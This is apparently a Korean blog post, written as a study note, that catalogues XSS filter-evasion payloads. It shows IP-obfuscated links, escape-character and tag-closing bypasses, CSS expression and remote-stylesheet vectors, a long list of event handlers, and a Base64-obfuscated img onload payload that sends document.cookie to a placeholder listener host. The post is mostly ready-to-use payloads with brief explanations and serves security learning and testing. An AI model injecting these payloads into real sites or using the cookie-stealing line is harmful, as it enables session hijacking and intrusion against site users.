<A HREF="http://66.102.7.147/">XSS</A>
<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>
<A HREF="http://1113982867/">XSS</A>
<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>
<A HREF="http://0102.0146.0007.00000223/">XSS</A>
  • 일반적인 IP 주소 표기법을 사용한 URL.
  • URL 인코딩(Percent-Encoding)을 사용한 도메인 표기법.
  • 1113982867은 10진수 형태로 변환된 IP 주소. ( 1113982867 → 66.102.7.147 )
  • 16진수(Hexadecimal) IP 주소 표기법 ( 0x42 = 66, 0x0000066 = 102, 0x7 = 7, 0x93 = 147 )
  • 8진수(Octal) IP 주소 표기법

 

 

 

Base64 인코딩을 이용한 XSS

<img onload="eval(atob('ZG9jdW1lbnQubG9jYXRpb249Imh0dHA6Ly9saXN0ZXJuSVAvIitkb2N1bWVudC5jb29raWU='))">
  • <img> 태그의 onload 이벤트는 이미지가 로드될 때 실행됨.
  • 브라우저는 이미지가 정상적으로 로드되었을 때 onload 속성에 지정된 JavaScript 코드를 실행함.
  • eval(): 문자열을 JavaScript 코드로 해석하여 실행하는 함수.
  • atob(...): Base64로 인코딩된 문자열을 디코딩하는 함수
    • Base64 디코딩 결과 ( document.location="http://listenerIP/"+document.cookie )

 

 

 

프로토콜 우회를 이용한 XSS

<A HREF="//www.google.com/">XSS</A>
  • //는 **스키마 상대 URL(Scheme-relative URL)**을 의미.
  • 브라우저는 현재 페이지가 로드된 프로토콜(예: HTTP 또는 HTTPS)을 자동으로 적용.

 

 

 

JavaScript 링크를 이용한 XSS

<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>

 

 

 

 

 

 

 

이스케이프 문자 우회

  • 서버 측에서 따옴표를 이스케이프 처리해도, 이스케이프 문자를 활용하여 우회 가능.
<SCRIPT>var a="\\\\";alert('XSS');//";</SCRIPT>
  • JSON이나 JavaScript 이스케이프가 적용됐지만 HTML 인코딩이 적용되지 않은 경우 <script> 태그를 닫고 새로운 스크립트를 삽입 가능.
</script><script>alert('XSS');</script>

 

 

 

HTML 태그 활용 XSS

  • <TITLE> 태그 종료 후 스크립트 삽입:
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
  • <INPUT> 태그에서 SRC 속성을 활용:
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
  • <BODY> 태그에서 BACKGROUND 속성 활용:
<BODY BACKGROUND="javascript:alert('XSS')">
  • <IMG> 태그에서 DYNSRC 및 LOWSRC 속성 활용:
<IMG DYNSRC="javascript:alert('XSS')">
<IMG LOWSRC="javascript:alert('XSS')">

 

 

 

스타일 속성 및 CSS 기반 XSS

  • list-style-image 속성 활용 (IE에서만 작동):
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</UL>
  • VBScript를 활용한 이미지 XSS:
<IMG SRC='vbscript:msgbox("XSS")'>
  • SVG 태그 활용:
<svg/onload=alert('XSS')>
  • ECMAScript 6 활용:
Set.constructor`alert\x28document.domain\x29
  • BODY 태그 활용:
<BODY ONLOAD=alert('XSS')>

 

 

 

이벤트 핸들러 기반 XSS

  • 다양한 JavaScript 이벤트 핸들러를 활용한 공격:

사용자 상호작용 관련 이벤트

  • onClick(): 사용자가 클릭할 때
  • onDblClick(): 사용자가 두 번 클릭할 때
  • onMouseDown(): 마우스를 클릭할 때
  • onMouseUp(): 마우스를 클릭에서 뗄 때
  • onMouseMove(): 마우스를 움직일 때
  • onMouseOver(): 마우스가 요소 위로 이동할 때
  • onMouseOut(): 마우스가 요소 밖으로 이동할 때
  • onMouseEnter(): 커서가 객체 위로 이동할 때
  • onMouseLeave(): 커서가 객체에서 벗어날 때
  • onContextMenu(): 마우스 오른쪽 버튼 클릭
  • onSelect(): 사용자가 일부 텍스트를 선택할 때
  • onSelectStart(): 텍스트 선택이 시작될 때
  • onSelectionChange(): 텍스트 선택이 변경될 때
  • onKeyDown(): 키를 누를 때
  • onKeyPress(): 키를 누르거나 누르고 있을 때
  • onKeyUp(): 키를 놓을 때
  • onInput(): 입력 필드에서 값이 변경될 때

윈도우 & 문서 관련 이벤트

  • onLoad(): 문서가 로드될 때
  • onUnload(): 사용자가 페이지를 떠날 때
  • onBeforeUnload(): 페이지를 떠나기 직전
  • onResize(): 창 크기가 변경될 때
  • onResizeStart(): 창 크기 조절 시작
  • onResizeEnd(): 창 크기 조절 종료
  • onMove(): 창이 이동될 때
  • onMoveStart(): 창 이동 시작
  • onMoveEnd(): 창 이동 종료
  • onScroll(): 사용자가 스크롤할 때
  • onHashChange(): URL 해시 변경 시
  • onPopState(): 브라우저 뒤로가기/앞으로가기 시
  • onMessage(): 문서가 메시지를 받을 때
  • onStorage(): 저장 공간이 변경될 때

복사/붙여넣기 관련 이벤트

  • onCopy(): 사용자가 복사할 때
  • onCut(): 사용자가 잘라내기 할 때
  • onPaste(): 사용자가 붙여넣기 할 때
  • onBeforeCopy(): 복사되기 직전
  • onBeforeCut(): 잘라내기 직전
  • onBeforePaste(): 붙여넣기 직전

드래그 & 드롭 관련 이벤트

  • onDrag(): 사용자가 객체를 드래그할 때
  • onDragStart(): 드래그 작업을 시작할 때
  • onDragEnd(): 드래그 작업이 끝날 때
  • onDragEnter(): 객체가 유효한 위치로 들어올 때
  • onDragOver(): 객체가 유효한 위치 위에 있을 때
  • onDragLeave(): 객체가 유효한 위치에서 나갈 때
  • onDrop(): 객체를 드롭할 때
  • onDragDrop(): 사용자가 브라우저 창에 객체를 놓을 때

폼 관련 이벤트

  • onChange(): 입력 필드 값이 변경될 때
  • onSubmit(): 폼을 제출할 때
  • onReset(): 폼을 리셋할 때

미디어 관련 이벤트

  • onMediaComplete(): 미디어 파일이 끝날 때
  • onMediaError(): 미디어 파일에서 오류 발생
  • onTrackChange(): 재생 목록의 트랙이 변경될 때

마우스 휠 관련 이벤트

  • onMouseWheel(): 사용자가 마우스 휠을 사용할 때

프린트 관련 이벤트

  • onBeforePrint(): 사용자가 인쇄하기 전에
  • onAfterPrint(): 인쇄 후

데이터 관련 이벤트

  • onDataAvailable(): 요소의 데이터가 변경될 때
  • onDataSetChanged(): 데이터 세트가 변경될 때
  • onDataSetComplete(): 데이터 세트가 로드 완료될 때
  • onCellChange(): 데이터 제공자가 변경될 때
  • onPropertyChange(): 요소 속성이 변경될 때
  • onReadyStateChange(): 요소의 상태가 변경될 때

포커스 관련 이벤트

  • onFocus(): 요소가 포커스를 받을 때
  • onFocusIn(): 요소가 포커스를 받을 때(버블링 지원)
  • onFocusOut(): 요소가 포커스를 잃을 때(버블링 지원)
  • onBlur(): 요소가 포커스를 잃을 때
  • onActivate(): 객체가 활성 요소로 설정될 때
  • onBeforeActivate(): 객체가 활성 요소로 설정되기 전에 발생
  • onBeforeDeactivate(): 현재 객체에서 activeElement가 변경된 직후
  • onDeactivate(): activeElement가 변경될 때 발생
  • onBeforeEditFocus(): 편집 가능한 요소가 활성화되기 전

애니메이션 & 타임라인 관련 이벤트

  • onBegin(): 타임라인이 시작될 때
  • onEnd(): 타임라인이 종료될 때
  • onPause(): 타임라인이 일시 정지될 때
  • onResume(): 타임라인이 재개될 때
  • onReverse(): 타임라인이 역재생될 때
  • onRepeat(): 타임라인이 반복될 때
  • onBounce(): 마키가 한쪽 끝에 도달할 때
  • onFinish(): 마키가 루프를 완료할 때
  • onStart(): 마키 루프가 시작될 때
  • onStop(): 사용자가 중지 버튼을 누르거나 웹페이지를 종료할 때
  • onSyncRestored(): 미디어 동기화가 복원될 때
  • onSeek(): 타임라인이 특정 지점을 찾을 때

오류 처리 관련 이벤트

  • onError(): 문서나 이미지 로딩 오류 발생 시
  • onErrorUpdate(): 데이터 업데이트 중 오류 발생 시
  • onTimeError(): 시간 속성이 잘못된 값일 때

네트워크 상태 관련 이벤트

  • onOffline(): 브라우저가 오프라인 모드로 전환될 때
  • onOnline(): 브라우저가 온라인 모드로 전환될 때
  • onOutOfSync(): 미디어 요소의 동기화가 깨질 때

실행 취소/반복 관련 이벤트

  • onUndo(): 사용자가 실행 취소할 때
  • onRedo(): 사용자가 실행 취소를 다시 실행할 때

 

기타

  • onHelp(): 사용자가 F1 키를 누를 때
  • onControlSelect(): 사용자가 컨트롤을 선택할 때
  • onLoseCapture(): releaseCapture()를 통해 제어권을 잃을 때
  • onLayoutComplete(): 인쇄 또는 미리보기 시 레이아웃 완료
  • onFilterChange(): 필터 상태가 변경될 때
  • onURLFlip(): HTML+TIME에서 ASF 파일이 내장 스크립트를 실행할 때
  • seekSegmentTime(): 세그먼트 타임라인에서 특정 지점을 찾고 재생할 때

 

 

 

& JavaScript 포함

 

  • <BR> 태그의 SIZE 속성을 이용하여 JavaScript 코드 실행.
  • 브라우저가 속성 값을 평가할 때 JavaScript 코드가 실행될 가능성이 있음.
<BR SIZE="&{alert('XSS')}">

 

 

 

 

스타일 시트 관련 XSS

 

  • <LINK> 태그를 이용하여 JavaScript를 포함한 스타일시트를 로드하면 실행됨.
  • 일반적으로 보안이 강화된 브라우저에서는 차단되지만, 특정 환경에서 실행될 가능성이 있음.
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">

 

 

  • 원격 스타일 시트
  • 공격자가 제어하는 원격 스타일시트를 로드하여 CSS 속성을 조작해 XSS 실행.
<LINK REL="stylesheet" HREF="http://xss.rocks/xss.css">

 

  • @import를 이용한 원격 스타일 시트
  • <STYLE> 태그 내부에서 @import를 이용해 원격 CSS 파일을 불러와서 악성 코드 실행.
<STYLE>@import 'http://xss.rocks/xss.css';</STYLE>

 

  • Moz-Binding을 이용한 XSS (Gecko 기반 브라우저)
  • Mozilla Gecko 엔진에서 지원하는 -moz-binding 속성을 악용하여 원격 XUL(XML User Interface Language) 파일을 로드하여 XSS 실행.
<STYLE>BODY{-moz-binding:url("http://xss.rocks/xssmoz.xml#xss")}</STYLE>

 

  • JavaScript를 포함한 스타일 태그
  • @import를 이용하면서 \(백슬래시)를 추가하여 JavaScript를 실행하도록 우회.
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>

 

  • 표현식(expression)을 이용한 XSS (IE 전용)
  • Internet Explorer에서 CSS expression() 속성을 이용하여 JavaScript 실행.
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">

 

  • IMG 태그의 스타일 속성을 통한 XSS
  • expression()을 변형하여 IE에서 JavaScript가 실행되도록 함.
<A STYLE='no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))'>

 

  • 배경 이미지 URL을 이용한 XSS
  • background-image 속성을 javascript: URL로 설정하여 XSS 실행.
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>

 

  • BODY 태그의 background 속성을 이용한 XSS
  • background-image 속성을 javascript: URL로 설정하여 XSS 실행.
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<STYLE type="text/css">BODY{background:url("<javascript:alert>('XSS')")}</STYLE>

 

  • 익명 HTML을 이용한 스타일 속성 XSS (IE 전용)
  • IE에서는 존재하지 않는 태그(<XSS>)도 해석하여 STYLE 속성 내부의 expression()을 실행할 수 있음.
<XSS STYLE="xss:expression(alert('XSS'))">

 

  • 로컬 .htc 파일을 이용한 XSS
  • .htc(HTML Components) 파일을 로드하여 JavaScript를 실행하는 방식.
  • 같은 도메인에서 .htc 파일을 로드해야 하므로, 공격자는 피해자의 서버에 업로드할 수 있어야 함.
<XSS STYLE="behavior: url(xss.htc);">

 

 

 

 

이어서....

+ Recent posts